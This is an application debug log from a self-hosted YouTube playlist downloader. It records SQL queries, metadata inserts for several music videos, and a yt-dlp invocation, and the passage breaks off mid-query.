"https://www.youtube.com/watch?v=dwPvXW-uSIs", "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, 1, ~U[2026-05-22 02:00:06Z]] 22:23:22.127 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=223.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:22.127 [debug] QUERY OK source="media_profiles" db=0.1ms idle=223.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:22.128 [debug] QUERY OK source="media_items" db=0.1ms idle=223.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [37] 22:23:22.128 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "duration" => 209, "filename" => "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", "id" => "iAH23TPVAjQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iAH23TPVAjQ", "playlist_index" => 38, "timestamp" => 1784323349, "title" => "We Don’t Talk Anymore (But it hits different)", "upload_date" => "20260717"} 22:23:22.128 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:22.128 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:22.129 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 21:22:29Z], 1] 22:23:22.327 [debug] QUERY OK source="media_items" db=197.9ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "2ba8ea89-dd94-490e-b52d-d14cefabd6ba", false, "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", 38, "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, false, 1, [], 1, ~U[2026-07-17 21:22:29Z], ~U[2026-07-24 02:23:22Z], ~U[2026-07-24 02:23:22Z], "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, 1, ~U[2026-07-17 21:22:29Z]] 22:23:22.328 [debug] QUERY OK source="sources" db=0.2ms idle=199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:22.328 [debug] QUERY OK source="media_profiles" db=0.1ms idle=199.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:22.328 [debug] QUERY OK source="media_items" db=0.1ms idle=199.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [456] 22:23:22.328 [debug] Current batch of media processed. Will check again in 1000ms 22:23:23.330 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "duration" => 120, "filename" => "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", "id" => "Kr2lbQwHQeY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "playlist_index" => 39, "timestamp" => 1779926406, "title" => "【Original Song MV】Way 2 U - Ouro Kronii", "upload_date" => "20260528"} 22:23:23.331 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:23.332 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:23.333 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 00:00:06Z], 1] 22:23:23.431 [debug] QUERY OK source="media_items" db=96.8ms idle=1004.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "57677d33-8d7f-49bc-95dc-df3c62b3f197", false, "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", 39, "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, false, 1, [], 1, ~U[2026-05-28 00:00:06Z], ~U[2026-07-24 02:23:23Z], ~U[2026-07-24 02:23:23Z], "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, 1, ~U[2026-05-28 00:00:06Z]] 22:23:23.431 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=302.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:23.432 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=100.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:23.433 [debug] QUERY OK source="media_items" db=0.4ms idle=100.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [457] 22:23:23.433 [debug] Current batch of media processed. Will check again in 1000ms 22:23:24.084 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/01/a7/01a7ddf2c1ff3f49a2f63736349ea0c2a00829c80bc614abf1ba97e1e2f36e71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:23:24.085 [debug] Gracefully stopping file follower 22:23:24.085 [debug] QUERY OK source="sources" db=0.2ms idle=752.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:24.085 [debug] QUERY OK source="sources" db=0.1ms idle=655.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:24.086 [debug] QUERY OK source="media_items" db=0.1ms idle=653.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:23:24.354 [debug] QUERY OK source="media_items" db=267.8ms idle=653.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "a4f74ace-0798-4c85-888f-215332efe956", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:23:24Z], ~U[2026-07-24 02:23:24Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:23:24.358 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=272.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:24.359 [debug] QUERY OK source="media_items" db=0.3ms idle=273.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:23:24.505 [debug] QUERY OK source="media_items" db=145.6ms idle=273.5ms INSERT INTO 